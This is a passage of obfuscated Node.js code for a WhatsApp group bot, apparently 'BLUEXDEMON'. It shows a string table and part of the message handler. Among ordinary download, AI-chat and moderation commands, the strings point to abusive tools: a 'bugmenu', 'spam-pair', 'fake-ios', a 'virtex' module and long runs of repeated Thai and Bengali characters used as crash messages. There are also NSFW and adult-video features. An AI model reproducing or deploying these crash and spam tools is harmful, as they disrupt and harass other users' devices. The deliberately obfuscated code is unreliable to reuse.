\x20*','bgGreen','\x20starts\x20now','gcinfo','PRIVATE','love\x20\x0a>\x20','flux','GROUP','โ\x20Please\x20provide\x20a\x20Bible\x20verse\x20reference.\x0a\x0aExample:\x20*!bible\x20John\x203:16*','long','sound13','โ\x20Please\x20provide\x20a\x20valid\x20*XVideos*\x20link.\x0aExample:\x20`.xxxdl\x20https://www.xvideos.com/`','https://github.com/anonphoenix007/phonk-api/raw/main/all/','โ\x20*Company\x20Name:*\x20','Error\x20in\x20aniquote\x20case:','bing\x0a>\x20','๐\x20*Update\x20Check\x20Completed!*\x0a๐
\x20*Checked\x20On:*\x20','โ
\x20The\x20bot\x20is\x20now\x20in\x20*public*\x20mode.','Error\x20in\x20flux\x20case:','๐ต\x20*TikTok\x20Video\x20Downloaded!*\x0a\x0a๐\x20*Description:*\x20','Qoted','cecan-china','exports','resolve','msg','yts\x0a>\x20','tinyurl','โ\x20Please\x20provide\x20a\x20song\x20name.\x0a\x0aExample:\x20*!lyrics\x20Not\x20Like\x20Us*','kickon','checkPremiumUser','public','html\x0a>\x20','selectedButtonId','antispam','\x20APK\x20downloaded\x20successfully!*','โ\x20Failed\x20to\x20fetch\x20fancy\x20fonts.\x20Please\x20try\x20again.','short_url','Failed\x20to\x20fetch\x20a\x20rizz\x20line.\x20Please\x20try\x20again\x20later.','https://api.siputzx.my.id/api/ai/deepseek-r1?content=','Case','love','https://api-xx-xi.hf.space/api/quote','runtime','Error\x20in\x20truth\x20case:','shift','antitoxic','githubdl\x0a>\x20','creator','sound48','โ
\x20*Connection\x20Established\x20Successfully*','cecan-vietnam','mp3','randomcolor\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','sPromote','xxxsearch\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','setwelcome','messageTimestamp','llama\x0a>\x20','*\x20mode.','-master.zip','/mqdefault.jpg','HEAD','ูฏูฏูฏูฏูฏ','```\x0a\x20','listerror','dependentsCount','ytmp4\x0a>\x20','\x20hello','โ\x20Failed\x20to\x20shorten\x20the\x20URL.\x20Please\x20try\x20again.','conf','https://api-xx-xi.hf.space/api/dare','Error\x20fetching\x20Spotify\x20search\x20results:','An\x20error\x20occurred\x20while\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.','title','npmstalk','```\x0a>\x20*๐ *```STATUS\x20:\x20','\x20*Group\x20link:\x20','clear','creation','Public','sound15','allcommand','aniquote','flux\x0a>\x20','sendMessage','autoswview','\x20-\x20','เธเธเธดเธเธธเนเนเธถเธฒเธเธเธทเธเธดเธเธธเนเน','remove','text2img','../database/virtex/virtex.js','3600000','BK9','take','๐ฎโ๐จ','sound80','sound41','\x20detik','โ\x20*IP:*\x20','addFilter','*Failed\x20to\x20download\x20the\x20repository.*\x0aReason:\x20','welcome\x0a>\x20','*TANDAI\x20TELAH\x20DIBACA*\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x20*Bang\x20yg\x20ngirim\x20virtex\x20nih:*\x20\x0awa.me/','audioMessage','๐\x20*Flirty\x20Line:*\x0a\x0aโ\x20','\x20has\x20been\x20enabled\x20in\x20this\x20group','*โก๐ฒ๐ฐ๐ป๐ฒ๐๐ป๐ฐ๐๐ธ๐ฝ๐ถ\x20๐๐ฟ๐ด๐ด๐ณโก*\x0a๐\x0a>\x20','โ\x20*TOR:*\x20','yts','invite\x0a>\x20','icon','songs','๐ต๐๐๐','Error\x20checking\x20updates:','performance-now','dependenciesCount','../message/demon.js','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/Leonardo_Phoenix_10_Animestyle_male_character_standing_confide_3.jpg','sound92','sound95','listcase','sound8','duration','sound72','๐ฅ\x20*','tagme\x0a>\x20','sound46','sound52','tts\x0a>\x20','getjid\x0a>\x20','N/A','unavailable','sound5','antivirtex\x0a>\x20','autoBio','group','Error\x20in\x20mediafire\x20case:','octet-stream','ACTIVEโ
','chat.whatsapp.com','โ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20anime.\x20Please\x20try\x20again\x20later.','Private','groupLeave','phone','getppgc','quote\x0a>\x20','message.js','โ\x20No\x20video\x20found\x20for\x20the\x20provided\x20link.','Successfully\x20Activated\x20AutoReact.','documentMessage','banned','Error\x20fetching\x20NPM\x20package\x20info:','waUploadToServer','days','all-in-one','aio','watchFile','Error\x20in\x20tinyurl\x20case:','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/deepseek.jpg','๐ฑ\x20*`device\x20type`*\x20*','country\x0a>\x20','sound86','betax','type11','sWelcome','\x20link*','\x0a๐\x20*Title:*\x20','\x20234###','node-fetch','https:','No\x20videos\x20found.','ssweb\x0a>\x20','resetgclink','tiktok\x0a>\x20','welcome\x20is\x20already\x20inactive','Invalid\x20option.\x20Use\x20\x22on\x22\x20or\x20\x22off\x22\x20to\x20toggle\x20AutoReact.','*Unsupported\x20media\x20type!*\x0aReply\x20to\x20an\x20image\x20or\x20video\x20with\x20the\x20caption\x20','toFixed','dare','\x20`RUNTIME`\x20','mentionedJid','setpp\x0a>\x20','demon.js','content-type','Failed\x20to\x20kick\x20the\x20user.\x20Make\x20sure\x20I\x20have\x20the\x20correct\x20permissions.','๐คทโโ๏ธ','tagall','spotify\x0a>\x20','*Example:\x20','Badmin','23:59:00','mistral','Usage:\x20','descUpdate','application/javascript','โ\x20Please\x20enter\x20a\x20search\x20query.\x0a\x0aExample:\x20.brave\x20github','Failed\x20to\x20process\x20your\x20request.\x20Please\x20try\x20again\x20later.','video\x20found\x20sending,\x20a\x20sec','sound17','waifu','full','null','sDemote','Error\x20in\x20get\x20case:','\x20apkfab-link*','โ\x20Error\x20fetching\x20Cecan\x20image:','videoMessage','blueai\x0a>\x20','antivirtex','*anti\x20virtex\x20mode*\x0aUsage:\x20','ping\x0a>\x20','brave','stringify','chat','update\x0a>\x20','\x20in\x20group','*ใ\x20GROUP\x20LINK\x20DETECTED\x20ใ*\x0aADMIN\x20PERMISSION\x20RECEIVED','settingbot','only','drivingSide','sound19','listonline\x0a>\x20','format','```\x0a>\x20*๐ *```PREFIX\x20:\x20','โ\x20*Timezone:*\x20','๐\x20*New\x20Cases\x20Detected:*\x0a','repo','autoreact','Enter\x20the\x20query\x20\x27on\x27\x20or\x20\x27off\x27','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20the\x20lyrics.\x20Please\x20try\x20again\x20later.','fromCharCode','๐\x20*Scanning\x20for\x20Updates...*','unblock\x0a>\x20','โ\x20Failed\x20to\x20fetch\x20the\x20link.\x20Server\x20responded\x20with\x20status:\x20','*\x0a๐ฆ\x20*Size:*\x20','https://api.popcat.xyz/periodic-table?element=','application/zip','leavegc','expiredCheck','opentime','Error\x20fetching\x20API:','viewOnceMessage','parse-ms','An\x20error\x20occurred\x20while\x20fetching\x20the\x20device\x20information.\x20Please\x20try\x20again\x20later.','\x0aโฑ๏ธ\x20*duration:*\x20','existsSync','*Choose:*\x0aseconds\x0aminutes\x0ahours\x0adays\x0a\x0a*Example:*\x0a10\x20seconds','โ\x20*Relay:*\x20','set','groupSettingUpdate',').mp3','cecan-korea','spam-pair','forEach','status@broadcast','getName','ms\x0a*status:*\x20*','Spam\x20ke\x20','promote','type','โ\x20An\x20error\x20occurred\x20while\x20generating\x20the\x20image.\x20Please\x20try\x20again\x20later.','child_process','tiktokaud\x0a>\x20','timestamp','๐\x20*Anime\x20Quote*\x0a\x0a๐ฌ\x20*Quote:*\x20\x22','perf_hooks','[\x20\x20UPDATE\x20]','Group\x20Not\x20Foundโ','videoTitle','groupUpdateSubject','โ\x20Failed\x20to\x20update\x20*','entries','\x0a\x0a๐๏ธ\x20*','case.js','this\x20isn\x27t\x20a\x20view-once\x20message!','off','say','sound23','application/octet-stream','โ\x20Please\x20enter\x20a\x20question\x20or\x20prompt.\x0a\x0aExample:\x20.blackbox\x20How\x20do\x20I\x20code\x20in\x20JavaScript?','getprefix\x0a>\x20','sound21','pinterest','sound1\x20to\x2095\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','Bot\x20Kicked\x20From\x20The\x20Groupโ','subject','Failed\x20to\x20unmute\x20the\x20group.\x20Please\x20try\x20again.','*Gemini\x20pro\x20Response:*\x0a','add','participants','the\x20antilink\x20feature\x20has\x20been\x20activated.','lastup','statusText','sound38','Failed\x20to\x20fetch\x20a\x20quote.\x20Please\x20try\x20again\x20later.','*Gemini\x20AI\x20Response:*\x0a\x0a','promote\x0a>\x20','updateProfileStatus','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20the\x20Spotify\x20results.\x20Please\x20try\x20again\x20later.','video/mp4','fake-ios','menu','\x0aโฑ๏ธ\x20*Duration:*\x20','block','self','enable','\x20menit,\x20','Error\x20in\x20elements\x20case:','repeat','tag\x0a>\x20','deepseek\x0a>\x20','singleSelectReply','Error\x20saving\x20new\x20prefix:','Error\x20in\x20Pinterest\x20case:','๐คข๐คข','announcement','yellow','add\x0a>\x20','antitroli','getppgc\x0a>\x20','bible\x0a>\x20','เนเนเนเนเนเนเนเน','includes','\x22\x0a>\x20','expired','quoted','๐คฎ๐ซ๐คข','Example:\x20','proxy','device','kick','readStatus','๐ฅ\x20*Video\x20Downloaded!*\x0a\x0a๐\x20*Title:*\x20','\x0a๐ฅ\x20*Downloaded\x20successfully!*','https://api.siputzx.my.id/api/ai/blackboxai-pro?content=','getprefix','nsfw','tagme','Failed\x20to\x20mute\x20the\x20group.\x20Please\x20try\x20again.','\x20bohrium','Close\x20time\x20','setpp','๐คฎ๐คข๐ต','&lang=en','๐\x20*Name:*\x20','the\x20feature\x20is\x20already\x20active.','Error\x20loading\x20prefix:','in\x20','โ
\x20*System\x20Optimization:\x20Complete*','โ\x20*Abuse\x20Contact\x20Phone:*\x20','allcase','\x0aโญ\x20*Admins\x20length:*\x20','```\x0a>\x20*๐ *```SYSTEM\x20:\x20','mimetype','Error\x20in\x20deepseek2\x20case:','๐๐ฝ','https://github.com/BLUEXDEMONl/BLUEXDEMON-V5/archive/refs/heads/master.zip','เงญเงญเงญเงญเงญเงญเงญเงญ','revoke','setname','sendFile','sound85','๐จ\x20*Random\x20Color*\x0a\x0a๐น\x20*Name*:\x20','sendText','Failed\x20to\x20retrieve\x20the\x20media.','Failed\x20to\x20fetch\x20the\x20video.\x20Ensure\x20the\x20link\x20is\x20valid\x20and\x20try\x20again.','uptime','cecan-japan','https://api-xx-xi.hf.space/api/tinyurl?url=','1000','โ
\x20Successfully\x20removed\x20@','floor','sound89','googleMapsLink','`No\x20YouTube\x20link\x20detected`\x0a*Example:\x20\x20','โ\x20Failed\x20to\x20fetch\x20an\x20anime\x20quote.\x20Please\x20try\x20again\x20later.','vpn','multi','blue\x20demon','[\x20\x20Remove\x20]','๐\x20*Pinterest\x20Result*\x0a','No\x20results\x20found.\x20Please\x20try\x20with\x20a\x20different\x20query.','brave\x0a>\x20','*\x20\x20how\x20can\x20i\x20help\x20you?\x20please\x20type\x20*','hentai\x0a>\x20','scan\x0a>\x20','gold','๐ถ\x20*','\x0a๐ข\x20*Verses\x20Count:*\x20','\x20\x0a\x20\x20*ใ\x20โ ๏ธ\x20๐๐๐๐๐๐๐\x20โ ๏ธ\x20ใ*\x0aThe\x20NSFW\x20(Not\x20Safe\x20For\x20Work)\x20feature\x20has\x20been\x20activated\x20in\x20this\x20group.\x20As\x20a\x20result,\x20explicit\x20content\x20may\x20be\x20accessible\x20through\x20the\x20bot.\x20Please\x20proceed\x20with\x20caution\x20and\x20ensure\x20compliance\x20with\x20community\x20guidelines.\x0a','โ\x20Failed\x20to\x20download\x20the\x20video.\x20Please\x20check\x20the\x20link\x20and\x20try\x20again.','mode','devil','autoReadChat','Cannot\x20find\x20module','60000','subjectOwner','bugmenu','https://api-xx-xi.hf.space/api/joke','lyrics','Bot','sound77','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/Llama3.4.jpg','๐ตโ๐ซ','```\x0a>\x20*๐ *```MODE\x20:\x20','protocolMessage','sound88','autoblockcmd','https://apis.davidcyriltech.my.id/bible?reference=','๐คข๐คข๐คข','https://apis.davidcyriltech.my.id/download/ytmp3?url=','*\x20updated!\x20(+','antisticker','default','utf8','Blue_result.html','๐ถ\x20*TikTok\x20Audio\x20Downloaded!*\x0a\x0a๐\x20*Description:*\x20','๐ง \x20*DeepSeek\x2067B\x20AI\x20Response*\x0a\x0a๐ฌ\x20*Query:*\x20','sound73','https://apis.davidcyriltech.my.id/download/ytmp4?url=','sound44','blueai','totalResults','*\x0a\x0a\x0aโญ\x20*Name\x20:*\x20','admin','\x0aโ ๏ธ\x20*Error:*\x20','โ
\x20The\x20bot\x20is\x20already\x20in\x20*public*\x20mode.','Error\x20in\x20ssweb\x20case:','delete\x0a>\x20','getsudo\x0a>\x20'];_0x2f7c=function(){return _0x3ebf52;};return _0x2f7c();}const {join,dirname}=require(_0x4b4b65(0x582)),path=require('path'),{performance}=require(_0x4b4b65(0x41c)),fetch=require(_0x4b4b65(0x3bb)),request=require(_0x4b4b65(0x4da)),{msgFilter,addSpam,SpamExpired,cekSpam}=require(_0x4b4b65(0x613)),{color}=require(_0x4b4b65(0x183)),{toFirstCase,isNumber,pickRandom,generateProfilePicture,listCase,runtime,makeid,isUrl,fetchJson,sleep,getBuffer}=require(_0x4b4b65(0x1c7)),{Failed,Succes,checkDataId}=require(_0x4b4b65(0x4c1)),_sewa=require(_0x4b4b65(0x293)),_prem=require(_0x4b4b65(0x168)),{bad}=require(_0x4b4b65(0x2f2)),{vnMenu,images}=require(_0x4b4b65(0x182)),{virtex}=require(_0x4b4b65(0x36d)),AntiSpam=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x334)],DataId=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x5d7)],ban=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x3a9)],premium=db['data']['premium'],listcmdblock=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x1cc)],listerror=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x353)],hitnya=db[_0x4b4b65(0x5d7)]['hittoday'],dash=db[_0x4b4b65(0x5d7)]['dashboard'],anonChat=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x180)],allcommand=db[_0x4b4b65(0x5d7)][_0x4b4b65(0x364)],sewa=db[_0x4b4b65(0x5d7)]['sewa'],spammer=[];module[_0x4b4b65(0x329)]=async(_0x4dbacb,_0x1941a1,_0x13d6a0,_0x36dd22)=>{const _0x4accf0=_0x4b4b65;var _0x610f54=db[_0x4accf0(0x5d7)][_0x4accf0(0x53e)][_0x4accf0(0x3ec)][_0x4accf0(0x48c)];const _0x5c5597=_0x1941a1;var _0x1dc705=_0x4accf0(0x312);const _0x36bf59=(new Date()/0x3e8)[_0x4accf0(0x3c4)](0x0),_0x446f4a=_0x36bf59-_0x5c5597[_0x4accf0(0x34b)]['low'];if(_0x446f4a>Intervalmsg)return console['log'](_0x4accf0(0x244)+Intervalmsg+'\x20seconds\x20ago\x20ignored\x20to\x20avoid\x20spamming');try{const {type:_0xb9f3c5,now:_0x3a142a,args:_0x4aa46e,sender:_0x240e0b,fromMe:_0x5e2465,from:_0x499c38,botNumber:_0x30aee7,senderNumber:_0x1d52bb,groupName:_0x55f789,groupId:_0x427d0c,groupMembers:_0x456584,groupDesc:_0x42cbd4,groupOwner:_0x2537ff,pushname:_0x4de663,itsMe:_0xe3b6bf,mentionByTag:_0xc223ee,mentionByReply:_0x2e7d7a,users:_0x2510a7,budy:_0x2be4b6,content:_0x51fa94,body:_0x5f5b2e}=_0x1941a1,_0x13a9d2=_0x5c5597[_0x4accf0(0x19c)]['remoteJid'][_0x4accf0(0x2fa)](_0x4accf0(0x5ba)),_0x230657=_0x4accf0(0x22f);let _0xad3cd8='.';if(fs[_0x4accf0(0x408)](_0x230657))try{const _0x3d734e=JSON['parse'](fs['readFileSync'](_0x230657,_0x4accf0(0x4b1)));if(_0x3d734e[_0x4accf0(0x54e)])_0xad3cd8=_0x3d734e[_0x4accf0(0x54e)];}catch(_0x3798bc){console['error'](_0x4accf0(0x46d),_0x3798bc);}var _0x366aff=[_0x30aee7+_0x4accf0(0x5b3),_0x4accf0(0x239),''+_0x4dbacb[_0x4accf0(0x5b2)][_0x4accf0(0x1c0)]];const _0x7ee69a=_0x4accf0(0x2f5);let _0x595ec5=[];if(fs[_0x4accf0(0x408)](_0x7ee69a))try{_0x595ec5=JSON[_0x4accf0(0x57c)](fs[_0x4accf0(0x300)](_0x7ee69a,'utf8'));}catch(_0x1eb6be){console['error'](_0x4accf0(0x191),_0x1eb6be);}const _0x37b1f2=_0x366aff[_0x4accf0(0x455)](_0x240e0b)||_0x595ec5[_0x4accf0(0x455)](_0x240e0b)||checkDataId(_0x4accf0(0x2b0),_0x240e0b,DataId),_0x4f1fdd=_0x5f5b2e[_0x4accf0(0x513)](_0xad3cd8),_0x55d934=_0x4f1fdd?_0x5f5b2e['replace'](_0xad3cd8,'')[_0x4accf0(0x2e9)]()[_0x4accf0(0x5a5)](/ +/)['shift']()[_0x4accf0(0x5a3)]():'',_0x3aeeb9=_0x5f5b2e[_0x4accf0(0x513)](_0xad3cd8)?_0x5f5b2e[_0x4accf0(0x289)](_0xad3cd8,'')[_0x4accf0(0x2e9)]()[_0x4accf0(0x5a5)](/ +/)[_0x4accf0(0x33f)]()[_0x4accf0(0x5a3)]():_0x5f5b2e['trim']()[_0x4accf0(0x5a5)](/ +/)[_0x4accf0(0x33f)]()[_0x4accf0(0x5a3)](),_0x2f0db6=_0x4aa46e[_0x4accf0(0x2ba)]('\x20'),_0xf864fa=moment()['tz'](_0x4accf0(0x2f3))[_0x4accf0(0x3f1)](_0x4accf0(0x306)),_0x3ebfc6=_0x4aa46e[_0x4accf0(0x2ba)]('\x20'),_0x3b6cc3=_prem||_0x37b1f2?_0x5f5b2e[_0x4accf0(0x289)](_0xad3cd8,'')['trim']()[_0x4accf0(0x5a5)](/ +/)[_0x4accf0(0x33f)]()[_0x4accf0(0x5a3)]():_0x55d934,_0xac12ee=_0x240e0b==_0x1dc705,_0x19fc8a=speed(),_0x13c615=speed()-_0x19fc8a,_0x38386a=_0x1941a1['quoted']?_0x1941a1[_0x4accf0(0x458)]:_0x1941a1,_0x487bc6=(_0x38386a['msg']||_0x38386a)[_0x4accf0(0x474)]||'',_0x151b40=String[_0x4accf0(0x3f9)](0x200e),_0x272baf=_0x151b40[_0x4accf0(0x447)](0xfa1),_0x1e98f9=_0x2f0db6[_0x4accf0(0x289)](new RegExp('[()+-/\x20+/]','gi'),'')+_0x4accf0(0x5b3),_0x3ee55a=_0xc223ee&&_0xc223ee[0x0]?_0xc223ee[0x0]:_0x2e7d7a||_0x2f0db6?_0x1e98f9:![];let _0x2a9eeb=!![];const _0x239640=_0x4f1fdd?_0x4f1fdd:allcommand['includes'](toFirstCase(_0x3b6cc3)),_0x23210d=_0xb9f3c5=='buttonsResponseMessage'?_0x1941a1[_0x4accf0(0x4e9)][_0x4accf0(0x4ef)][_0x4accf0(0x333)]:'',_0x3e26ad=_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x1d2)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x2d7)]?.['text']||_0x5c5597['message'][_0x4accf0(0x5aa)]?.[_0x4accf0(0x1e6)]||_0x5c5597[_0x4accf0(0x4e9)]['imageMessage']?.[_0x4accf0(0x1ad)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x3e1)]?.[_0x4accf0(0x1e6)]||_0x5c5597['message']['videoMessage']?.[_0x4accf0(0x1ad)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x30f)]?.[_0x4accf0(0x1ad)]||_0x5c5597['message'][_0x4accf0(0x3a8)]?.[_0x4accf0(0x1e6)]||_0x5c5597['message']['documentMessage']?.[_0x4accf0(0x1ad)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x37a)]?.[_0x4accf0(0x1ad)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x4ef)]?.[_0x4accf0(0x333)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x61b)]?.[_0x4accf0(0x195)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x5dc)]?.[_0x4accf0(0x44a)]?.[_0x4accf0(0x58d)]||_0x5c5597[_0x4accf0(0x4e9)]['contactMessage']?.[_0x4accf0(0x4fe)]||_0x5c5597[_0x4accf0(0x4e9)][_0x4accf0(0x543)]?.[_0x4accf0(0x2ff)]||_0x5c5597[_0x4accf0(0x4e9)]['pollCreationMessage']?.[_0x4accf0(0x50b)]||'',_0x29bf34=global['db']['data'][_0x4accf0(0x255)][_0x5c5597[_0x4accf0(0x1b3)]],_0x1bf72b=_0x13a9d2?global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x5c5597[_0x4accf0(0x3e8)]]:![],_0xe40ac9=global['db']['data'][_0x4accf0(0x32f)][_0x5c5597[_0x4accf0(0x3e8)]],_0x2d3e22=global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x1d3)][_0x4accf0(0x33d)],_0x199ca6=new Date()-_0x2d3e22[_0x4accf0(0x33d)]||'Not\x20detected',_0x2ae713=_0x318b2a(_0x199ca6);global[_0x4accf0(0x49c)]===!![]&&_0x3e26ad&&await _0x4dbacb['readMessages']([_0x5c5597[_0x4accf0(0x19c)]]);global['autotyping']===!![]&&_0x4dbacb[_0x4accf0(0x53c)](_0x4accf0(0x174),_0x499c38);global[_0x4accf0(0x2ea)]===!![]&&_0x4dbacb[_0x4accf0(0x53c)]('available',_0x499c38);let _0x570a93=new Date(),_0x1e455c='en',_0x2dfc2b=new Date(0x0)[_0x4accf0(0x24f)]()-new Date(_0x4accf0(0x5bf))[_0x4accf0(0x24f)](),_0x5bcfd4=[_0x4accf0(0x571),'Pon',_0x4accf0(0x4fd),_0x4accf0(0x1da),_0x4accf0(0x24d)][Math[_0x4accf0(0x486)]((_0x570a93*0x1+_0x2dfc2b)/0x50ae4c0)%0x5],_0x4183ad=_0x570a93[_0x4accf0(0x23c)](_0x1e455c,{'weekday':_0x4accf0(0x31c)});const _0x4cc469=_0x570a93[_0x4accf0(0x23c)]('en',{'day':'numeric','month':_0x4accf0(0x31c),'year':_0x4accf0(0x2a3)});function _0x318b2a(_0x53f565){const _0x2c54b6=_0x4accf0;let _0x218c5a=isNaN(_0x53f565)?'--':Math[_0x2c54b6(0x486)](_0x53f565/0x5265c00),_0x2d0a95=isNaN(_0x53f565)?'--':Math['floor'](_0x53f565/0x36ee80)%0x18,_0x1a5a79=isNaN(_0x53f565)?'--':Math[_0x2c54b6(0x486)](_0x53f565/0xea60)%0x3c,_0x57f726=isNaN(_0x53f565)?'--':Math[_0x2c54b6(0x486)](_0x53f565/0x3e8)%0x3c;var _0x9fac2d=_0x218c5a>0x0?_0x218c5a+(_0x218c5a==0x1?_0x2c54b6(0x1bd):_0x2c54b6(0x1bd)):'',_0x358d56=_0x2d0a95>0x0?_0x2d0a95+(_0x2d0a95==0x1?_0x2c54b6(0x640):_0x2c54b6(0x640)):'',_0x31a566=_0x1a5a79>0x0?_0x1a5a79+(_0x1a5a79==0x1?'\x20menit,\x20':_0x2c54b6(0x445)):'',_0x3a215e=_0x57f726>0x0?_0x57f726+(_0x57f726==0x1?_0x2c54b6(0x374):_0x2c54b6(0x374)):'';let _0x4be815=_0x218c5a>0x0?_0x9fac2d+_0x358d56+_0x31a566+_0x3a215e:_0x358d56+_0x31a566+_0x3a215e;return _0x4be815;}if(_0x13a9d2&&_0x1bf72b){if(!('name'in _0x1bf72b))_0x1bf72b['name']=groupNmae;if(!isNumber(_0x1bf72b[_0x4accf0(0x433)]))_0x1bf72b['add']=0x0;if(!(_0x4accf0(0x608)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x608)]=![];if(!('detect'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x21a)]=!![];if(!('sWelcome'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x3b7)]='';if(!('sBye'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x570)]='';if(!(_0x4accf0(0x348)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x348)]='';if(!('sDemote'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x3dd)]='';if(!(_0x4accf0(0x16c)in _0x1bf72b))_0x1bf72b['desc']=!![];if(!(_0x4accf0(0x3d4)in _0x1bf72b))_0x1bf72b['descUpdate']=!![];if(!('stiker'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x61f)]=![];if(!(_0x4accf0(0x2ac)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x2ac)]=![];if(!(_0x4accf0(0x51e)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x51e)]=![];if(!(_0x4accf0(0x4af)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x4af)]=![];if(!(_0x4accf0(0x639)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x639)]=![];if(!(_0x4accf0(0x5a1)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x5a1)]=![];if(!(_0x4accf0(0x627)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x627)]=![];if(!isNumber(_0x1bf72b[_0x4accf0(0x457)]))_0x1bf72b[_0x4accf0(0x457)]=0x0;if(!('antiBadword'in _0x1bf72b))_0x1bf72b['antiBadword']=!![];if(!('antispam'in _0x1bf72b))_0x1bf72b[_0x4accf0(0x334)]=!![];if(!(_0x4accf0(0x451)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x451)]=![];if(!(_0x4accf0(0x3e3)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x3e3)]=!![];if(!(_0x4accf0(0x63d)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x63d)]=![];if(!(_0x4accf0(0x340)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x340)]=![];if(!(_0x4accf0(0x15c)in _0x1bf72b))_0x1bf72b['viewonce']=!![];if(!(_0x4accf0(0x463)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x463)]=![];if(!(_0x4accf0(0x1dd)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x1dd)]=![];if(!(_0x4accf0(0x360)in _0x1bf72b))_0x1bf72b[_0x4accf0(0x360)]=![];if(!isNumber(_0x1bf72b['cleartime']))_0x1bf72b['clearTime']=0x0;}else{if(_0x13a9d2)global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x5c5597[_0x4accf0(0x3e8)]]={'name':_0x55f789,'add':0x0,'welcome':![],'detect':![],'sWelcome':'','sBye':'','sPromote':'','sDemote':'','desc':!![],'descUpdate':!![],'antibot':![],'antiimage':![],'antisticker':![],'antiaudio':![],'antivideo':![],'autostiker':![],'antilink':![],'antilinkgc':![],'antidelete':![],'antiasing':![],'banchat':![],'expired':0x0,'antibadword':![],'antispam':!![],'antitroli':![],'antivirtex':![],'antitoxic':![],'antipromosi':![],'antihidetag':![],'viewonce':![],'nsfw':![],'rpg':![],'clear':![],'clearTime':0x0};}const _0x52f9bb=global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x53e)][_0x4accf0(0x3ec)];if(_0x52f9bb){if(!isNumber(_0x52f9bb['status']))setting[_0x4accf0(0x2cd)]=new Date()*0x1;if(!(_0x4accf0(0x59e)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x59e)]=_0x4accf0(0x185);if(!(_0x4accf0(0x555)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x555)]='docx';if(!(_0x4accf0(0x327)in _0x52f9bb))_0x52f9bb['Qoted']=_0x4accf0(0x2d2);if(!('autoBio'in _0x52f9bb))_0x52f9bb[_0x4accf0(0x399)]=!![];if(!(_0x4accf0(0x48c)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x48c)]=!![];if(!(_0x4accf0(0x54e)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x54e)]='!';if(!(_0x4accf0(0x576)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x576)]=botName;if(!(_0x4accf0(0x4aa)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x4aa)]=![];if(!(_0x4accf0(0x1f9)in _0x52f9bb))_0x52f9bb['fake1']=_0x4accf0(0x569);if(!('replyType'in 